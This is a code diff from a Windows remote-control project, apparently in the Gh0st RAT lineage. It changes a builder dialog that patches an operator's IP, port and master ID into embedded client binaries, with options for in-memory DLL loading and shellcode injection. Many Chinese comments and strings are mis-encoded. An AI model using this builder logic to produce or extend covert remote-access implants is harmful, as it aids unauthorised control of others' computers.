if (hLoadedResource == NULL) { + return NULL; + } + // ԴȡָԴݵָ + LPVOID pData = LockResource(hLoadedResource); + if (pData == NULL) { + return NULL; + } + auto r = new BYTE[dwSize]; + memcpy(r, pData, dwSize); + + return r; +} + + CBuildDlg::CBuildDlg(CWnd* pParent) : CDialog(CBuildDlg::IDD, pParent) , m_strIP(_T("")) @@ -33,8 +70,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Text(pDX, IDC_EDIT_IP, m_strIP); DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); - DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt); DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem); + DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits); } @@ -49,152 +86,164 @@ END_MESSAGE_MAP() void CBuildDlg::OnBnClickedOk() { - CFile File; - char szTemp[MAX_PATH]; - ZeroMemory(szTemp,MAX_PATH); - CString strCurrentPath; - CString strFile; - CString strSeverFile; - BYTE * szBuffer=NULL; - DWORD dwFileSize; UpdateData(TRUE); + if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0) + return; + + BYTE* szBuffer = NULL; + DWORD dwFileSize = 0; int index = m_ComboExe.GetCurSel(), typ=index; + int is64bit = m_ComboBits.GetCurSel() == 0; + if (index == IndexTestRun_InjSC && !is64bit) { + MessageBox("Shellcode ֻ64λ±ע룬עҲֻ64λ!", "ʾ", MB_ICONWARNING); + return; + } + int startup = Startup_DLL; CString file; switch (index) { - case CLIENT_TYPE_DLL: + case IndexTestRun_DLL: case IndexTestRun_MemDLL: case IndexTestRun_InjSC: file = "TestRun.exe"; + typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL; + startup = std::map{ + {IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC}, + }[index]; + szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); break; - case CLIENT_TYPE_ONE: + case IndexGhost: file = "ghost.exe"; + typ = CLIENT_TYPE_ONE; + szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); break; - case CLIENT_TYPE_MODULE: + case IndexServerDll: file = "ServerDll.dll"; + typ = CLIENT_TYPE_DLL; + szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize); break; - case OTHER_ITEM: + case OTHER_ITEM: { m_OtherItem.GetWindowTextA(file); typ = -1; + if (file != "δѡļ") { + CFile File; + File.Open(file, CFile::modeRead | CFile::typeBinary); + dwFileSize = File.GetLength(); + if (dwFileSize > 0) { + szBuffer = new BYTE[dwFileSize]; + File.Read(szBuffer, dwFileSize); + } + File.Close(); + } + break; + } default: break; } - if (file.IsEmpty() || file == "δѡļ") + if (szBuffer == NULL) { - MessageBox("Ч, ɷ!"); - return CDialog::OnOK(); + MessageBox("ڲ룬±!", "ʾ", MB_ICONWARNING); + return; } //////////Ϣ////////////////////// - CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 0, typ}; + CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup }; g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); - if (!g_ConnectAddress.IsValid()) + if (!g_ConnectAddress.IsValid()) { + SAFE_DELETE_ARRAY(szBuffer); return; + } try { - //˴õδǰļ - char path[_MAX_PATH], *p = path; + // ±ʶ + char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize; + bool bFind = false; + int bufSize = dwFileSize; + while (ptr < end) { + int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen()); + if (iOffset == -1) + break; + + CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset); + auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1; + if (result != -2 && result <= 0)// ͻ˰汾ܲض + { + bFind = true; + auto master = GetMasterId(); + memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress)); + } + ptr += iOffset + sizeof(g_ConnectAddress); + bufSize -= iOffset + sizeof(g_ConnectAddress); + } + if (!bFind) { + MessageBox("ڲδҵʶϢ!\r\n" + file, "ʾ", MB_ICONWARNING); + SAFE_DELETE_ARRAY(szBuffer); + return; + } + + // ļ + char path[_MAX_PATH], * p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; - strcpy(p+1, file.GetString()); + strcpy(p + 1, file.GetString()); - strFile = typ != -1 ? path : file; //õǰδļ - if (_access(strFile, 0) == -1) - { - MessageBox(CString(strFile) + "\r\nģ\"" + file + "\"!"); - return CDialog::OnOK(); - } - - //ļ - File.Open(strFile,CFile::modeRead|CFile::typeBinary); - - dwFileSize=File.GetLength(); - szBuffer=new BYTE[dwFileSize]; - ZeroMemory(szBuffer,dwFileSize); - //ȡļ - - File.Read(szBuffer,dwFileSize); - File.Close(); - //дIPͶ˿ ҪѰ0x1234567ʶȻдλ - int iOffset = MemoryFind((char*)szBuffer,(char*)g_ConnectAddress.Flag(),dwFileSize, g_ConnectAddress.FlagLen()); - if (iOffset==-1) - { - MessageBox(CString(path) + "\r\nģ\"" + file + "\"֧!"); - return; - } - if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)g_ConnectAddress.Flag(), - dwFileSize - iOffset - sizeof(g_ConnectAddress), g_ConnectAddress.FlagLen()) != -1) { - MessageBox(CString(path) + "\r\nģ\"" + file + "\"!"); - return; - } - memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); - //浽ļ - if (index == CLIENT_TYPE_MODULE) - { - strcpy(p + 1, "ClientDemo.dll"); - } - else { - strcpy(p + 1, "ClientDemo.exe"); - } - strSeverFile = typ != -1 ? path : file; + CString strSeverFile = typ != -1 ? path : file; DeleteFileA(strSeverFile); + CFile File; BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); if (!r) { - MessageBox(strSeverFile + "\r\n\"" + strSeverFile + "\"ʧ!"); - return CDialog::OnOK(); + MessageBox("򴴽ʧ!\r\n" + strSeverFile, "ʾ", MB_ICONWARNING); + SAFE_DELETE_ARRAY(szBuffer); + return; } - Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel()); File.Write(szBuffer, dwFileSize); File.Close(); - delete[] szBuffer; - MessageBox("ɳɹ!ļλ:\r\n"+ strSeverFile); + CString tip = index == IndexTestRun_InjSC ? "\r\nʾ: ±ֻӱ6543˿ڡ" : + index == IndexTestRun_DLL ? "\r\nʾ: \"ServerDll.dll\"ԱС" : ""; + MessageBox("ɳɹ! ļλ:\r\n"+ strSeverFile + tip, "ʾ", MB_ICONINFORMATION); + SAFE_DELETE_ARRAY(szBuffer); + if (index == IndexTestRun_DLL) return; } catch (CMemoryException* e) { - MessageBox("ڴ治!"); + char err[100]; + e->GetErrorMessage(err, sizeof(err)); + MessageBox("ڴ쳣:" + CString(err), "쳣", MB_ICONERROR); } catch (CFileException* e) { - MessageBox("ļ!"); + char err[100]; + e->GetErrorMessage(err, sizeof(err)); + MessageBox("ļ쳣:" + CString(err), "쳣", MB_ICONERROR); } catch (CException* e) { - MessageBox("δ֪!"); + char err[100]; + e->GetErrorMessage(err, sizeof(err)); + MessageBox("쳣:" + CString(err), "쳣", MB_ICONERROR); } + + SAFE_DELETE_ARRAY(szBuffer); CDialog::OnOK(); } -int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize) -{ - int i,j; - if (iKeySize == 0||iBufferSize==0) - { - return -1; - } - for (i = 0; i < iBufferSize; ++i) - { - for (j = 0; j < iKeySize; j ++) - if (szBuffer[i+j] != Key[j]) break; - if (j == iKeySize) return i; - } - return -1; -} - - BOOL CBuildDlg::OnInitDialog() { CDialog::OnInitDialog(); // TODO: ڴӶijʼ - m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe"); - m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe"); - m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); + m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - DLL"); + m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - ڴDLL"); + m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע±"); + + m_ComboExe.InsertString(IndexGhost, "ghost.exe"); + m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll"); m_ComboExe.InsertString(OTHER_ITEM, CString("ѡļ")); m_ComboExe.SetCurSel(0); - m_ComboEncrypt.InsertString(0, ""); - m_ComboEncrypt.InsertString(1, "XOR"); - m_ComboEncrypt.SetCurSel(0); - m_ComboEncrypt.EnableWindow(FALSE); + m_ComboBits.InsertString(0, "64λ"); + m_ComboBits.InsertString(1, "32λ"); + m_ComboBits.SetCurSel(0); + m_OtherItem.ShowWindow(SW_HIDE); return TRUE; // return TRUE unless you set the focus to a control diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 03071d3..3cd4e0b 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -27,7 +27,8 @@ public: virtual BOOL OnInitDialog(); Buffer Encrypt(BYTE* buffer, int len, int method); CComboBox m_ComboExe; - CComboBox m_ComboEncrypt; + afx_msg void OnCbnSelchangeComboExe(); CStatic m_OtherItem; + CComboBox m_ComboBits; }; diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index 85ff29d..a8bbea1 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -11,12 +11,24 @@ IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx) +// 主控程序唯一标识 +char g_MasterID[100] = { PWD_HASH256 }; + +std::string GetPwdHash(){ + return g_MasterID; +} + +std::string GetMasterId() { + static auto id = std::string(g_MasterID).substr(0, 16); + return id; +} + CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_DIALOG_PASSWORD, pParent) , m_sDeviceID(_T("")) , m_sPassword(_T("")) { - + m_hIcon = nullptr; } CPasswordDlg::~CPasswordDlg() @@ -101,7 +113,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey() UpdateData(TRUE); if (m_sUserPwd.IsEmpty())return; std::string pwdHash = hashSHA256(m_sUserPwd.GetString()); - if (pwdHash != PWD_HASH256) { + if (pwdHash != GetPwdHash()) { Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str()); MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING); return; @@ -109,7 +121,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey() CString strBeginDate = m_StartTm.Format("%Y%m%d"); CString strEndDate = m_ExpireTm.Format("%Y%m%d"); // 密码形式:20250209 - 20350209: SHA256 - std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + PWD_HASH256; + std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash(); std::string finalKey = deriveKey(password, m_sDeviceID.GetString()); std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") + getFixedLengthID(finalKey); diff --git a/server/2015Remote/CPasswordDlg.h b/server/2015Remote/CPasswordDlg.h index 7703d7b..b2f3fd1 100644 --- a/server/2015Remote/CPasswordDlg.h +++ b/server/2015Remote/CPasswordDlg.h @@ -3,12 +3,16 @@ #include #include #include "Resource.h" +#include "common/commands.h" // 密码的哈希值 // 提示:请用hashSHA256函数获得密码的哈希值,你应该用自己的密码生成哈希值,并替换这个默认值. #define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" // CPasswordDlg 对话框 +std::string GetPwdHash(); + +std::string GetMasterId(); class CPasswordDlg : public CDialogEx { diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 3f7ae75..e2f13f0 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -185,6 +185,7 @@ typedef struct CONTEXT_OBJECT void *olps; // OVERLAPPEDPLUS int CompressMethod; // ѹ㷨 HeaderParser Parser; // Э + BOOL bLogin; // Ƿ login VOID InitMember() { @@ -197,6 +198,7 @@ typedef struct CONTEXT_OBJECT olps = NULL; CompressMethod = COMPRESS_ZSTD; Parser.Reset(); + bLogin = FALSE; } VOID SetClientInfo(CString s[10]){ for (int i=0; i